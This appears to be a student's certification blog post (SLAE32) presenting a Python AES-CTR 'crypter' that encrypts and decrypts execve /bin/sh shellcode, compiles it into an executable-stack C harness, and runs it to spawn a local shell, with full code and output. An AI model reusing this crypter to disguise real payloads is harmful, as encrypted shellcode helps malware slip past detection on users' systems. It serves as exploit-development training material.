SLAE32
SLAE32

This post introduces the 7th and last mission of my SLAE32 journey.

A different task as I decided to work with python3, and most of the work dealt with conversion types between encrypting and decrypting the shellcode.

Introduction

The SLAE32 7th assignment’s purpose is to create a custom crypter that references the one shown in the crypter lesson.

For this task, there are no special requirements:

  • Can use any existing encryption schema
  • Can use any programming language

I decided to have a more straightforward approach to this task without going into as much detail as in previous assignments. They were hard, and I felt like having cryptography in the assembly world, I should make things more complex than needed.

Crypter

For the encryption scheme, the choice was AES in CTR mode. I used the script made for the custom encoder/decoder assignment as a reference.

For the shellcode I used the execve stack shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Let’s see the crypter script.

#!/usr/bin/python3

# AES CTR-mode shellcode crypter

import argparse
import secrets
import sys
import string
import pyaes
import binascii
import os


secretsGenerator = secrets.SystemRandom()

c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encrypted_shellcode = "\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0" # encrypted shellcode
                        
iv =86225370279291231266238124133917033753321926857843067389263155507994576978348

def banner():

    print('''
        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\\
                    ||----w |
                    ||     ||       
        
         ''')

#----------------------------


class Crypter:

    def randomKeyGenerator(self):
        alphabet = string.ascii_letters + string.digits + string.punctuation
        key = ''.join(secrets.choice(alphabet) for i in range(16))
        return str.encode(key) 


    def __init__(self,key=None):
        
        if key is not None:
            self.key = str.encode(key)
            print("[*] Key Provided. Doing magic with it")
        else:
            self.key = self.randomKeyGenerator()
            print("[*] Doing magic with a (pseudo) Random key")
        print("[*] Key: "+self.key.decode())

    def encrypt(self, shellcode):
        #iv = secrets.randbits(256) # for random IV
        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        crypted_shellcode = aes.encrypt(shellcode)

        print("IV: "+str(iv))

        #print('Encrypted:', crypted_shellcode)

        final_shellcode = ""
        for crypted_shellbyte in bytearray(crypted_shellcode):

            final_shellcode += '\\x' + '%02x' % crypted_shellbyte # \x format

        # print encrypted shellcode in c-style format
        print()
        print(final_shellcode)


    def decrypt(self, final_shellcode):
        print("Decrypted")
        final_shellcode = bytes(final_shellcode, encoding="raw_unicode_escape")

        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        decrypted_shellcode = aes.decrypt(final_shellcode)

        original_shellcode = ""
        for shellbyte in bytearray(decrypted_shellcode):
            original_shellcode += '\\x' + '%02x' % shellbyte # \x format

        return original_shellcode

        #print(binascii.hexlify(bytearray(final_shellcode.replace("\\x","").encode())))
        

def executeShellcode(original_shellcode):
    

    file = open("shellcode.c", "w")
    file.write('''
        #include<stdio.h>
        #include<string.h>

        unsigned char code[] = \"''' + original_shellcode + '''";

        void main() {

            printf(\"Shellcode Length:  %d\\n\", strlen(code));

            int (*ret)() = (int(*)())code;

            ret();

        }'''
    )
    file.close()
    os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode 2>/dev/null")
    os.system("./shellcode")


def main():
   
    
    #shellcode = bytearray(c_style_shellcode)
    #print("[*] Shellcode length: "+str(len(shellcode))+"\n")
    #print("[*] Shellcode: "+str(c_style_shellcode)+"\n")

    print("[*] Encrypted Shellcode length: "+str(len(shellcode))+"\n")
    print("[*] Encrypted Shellcode: "+str(c_style_shellcode)+"\n") #  dynamic c-style use bytes(final_shellcode, encoding="raw_unicode_escape")



    # -------------------KEY-------------- 
    key = "B6*D+/5DQ$MFn<T{"    # example key
    #key = None
    #####################################

    crypter = Crypter(key);
    crypter.encrypt(shellcode)
    original_shellcode = crypter.decrypt(encrypted_shellcode)
    executeShellcode(original_shellcode)


if __name__ == '__main__':

    banner() # displays the program banner
    main()
    print("\n--------------------")
    print("[*] Hack the World!")
    print("--------------------")
    print()
    print()

For AES CTR mode, we need to pay attention to the iv and key of the encryption process because they are a must for the decryption process.

Basically, this encryption does the following:

  • accepts shellcode in \x format - shellcode variable;
  • generates a pseudorandom key and iv or uses one provided by the user - key and iv variables;
  • prints the shellcode in \x format

All this process is manual by the time of writing this post. The shellcode, iv, and encrypted shellcode are hardcoded.

For the decryption process:

  • Just prepared the encrypted shellcode (encrypted_shellcode variable) for decryption as it receives a bytes object;
  • Use the encryption iv and key to decrypt the shellcode;

Then, appends the decrypted shellcode to a shellcode.c program, compiles it with gcc, and executes it.

Executing the python Crypter:

╭─edu@debian ~/Desktop/slae_x86/assignments/7-Custom_Crypter ‹main●› 
╰─$ python3 aesCrypter.py

        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Encrypted Shellcode length: 25

[*] Encrypted Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'

[*] Key Provided. Doing magic with it
[*] Key: B6*D+/5DQ$MFn<T{
IV: 86225370279291231266238124133917033753321926857843067389263155507994576978348

\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0
Decrypted
Shellcode Length:  25
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ 

--------------------
[*] Hack the World!
--------------------

We get a shell!!!

Improving this script is a future work to be performed. Working with different types in Python is a time-consuming task and requires some ability to handle it.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86